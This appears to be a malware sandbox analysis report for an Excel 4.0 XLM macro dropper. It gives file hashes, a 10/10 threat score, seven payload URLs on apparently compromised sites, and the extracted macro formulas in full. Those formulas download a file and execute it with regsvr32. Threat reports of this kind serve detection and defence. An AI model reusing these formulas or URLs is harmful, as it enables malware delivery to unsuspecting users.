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General

  • Target

    cb830dcd4c106924da0493fd2dc8bec1025f6a98e0a2fb60b48dd4ed17eefa0e

  • Size

    38KB

  • Sample

    241111-17xd7axjex

  • MD5

    8e605e5b6a25e52dc433a0cac2146aef

  • SHA1

    57ba006a0c12c3e88e982afd5c2f2527679bc587

  • SHA256

    cb830dcd4c106924da0493fd2dc8bec1025f6a98e0a2fb60b48dd4ed17eefa0e

  • SHA512

    a1b99bae488ff7a365bc1b2590605b929a75242fa187cde054f93f570a4e1a1e516aaef94c76ffb2612292e82c789cfa3e89dd887812b20059418aa38908e447

  • SSDEEP

    768:lsnACdQR84jOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIX:mA6gvOZZ1ZYpoQ/pMAeVIyP54T

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://landingpageis.com/alfacgiapi/IhZmV1LIJwi6O/

https://londoninsurancelife-lmg.com/wp-content/HukqubgSP/

https://franciscosobrado.com/wp-content/xp/

https://britainsolicitors.com/wp-admin/disNolZkYooJTascNDEk/

https://www.curtisse.com/wordpress/kXUx9P38X/

https://bsprabodhini.org/wp-content/i1e8aSEloGChNad3m/

https://toyota-4wd.com/wp-content/55d3MMJGg6CMSFhS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://landingpageis.com/alfacgiapi/IhZmV1LIJwi6O/","..\roil.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://londoninsurancelife-lmg.com/wp-content/HukqubgSP/","..\roil.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://franciscosobrado.com/wp-content/xp/","..\roil.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britainsolicitors.com/wp-admin/disNolZkYooJTascNDEk/","..\roil.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.curtisse.com/wordpress/kXUx9P38X/","..\roil.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bsprabodhini.org/wp-content/i1e8aSEloGChNad3m/","..\roil.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://toyota-4wd.com/wp-content/55d3MMJGg6CMSFhS/","..\roil.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\roil.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://landingpageis.com/alfacgiapi/IhZmV1LIJwi6O/

Targets

    • Target

      cb830dcd4c106924da0493fd2dc8bec1025f6a98e0a2fb60b48dd4ed17eefa0e

    • Size

      38KB

    • MD5

      8e605e5b6a25e52dc433a0cac2146aef

    • SHA1

      57ba006a0c12c3e88e982afd5c2f2527679bc587

    • SHA256

      cb830dcd4c106924da0493fd2dc8bec1025f6a98e0a2fb60b48dd4ed17eefa0e

    • SHA512

      a1b99bae488ff7a365bc1b2590605b929a75242fa187cde054f93f570a4e1a1e516aaef94c76ffb2612292e82c789cfa3e89dd887812b20059418aa38908e447

    • SSDEEP

      768:lsnACdQR84jOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIX:mA6gvOZZ1ZYpoQ/pMAeVIyP54T

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks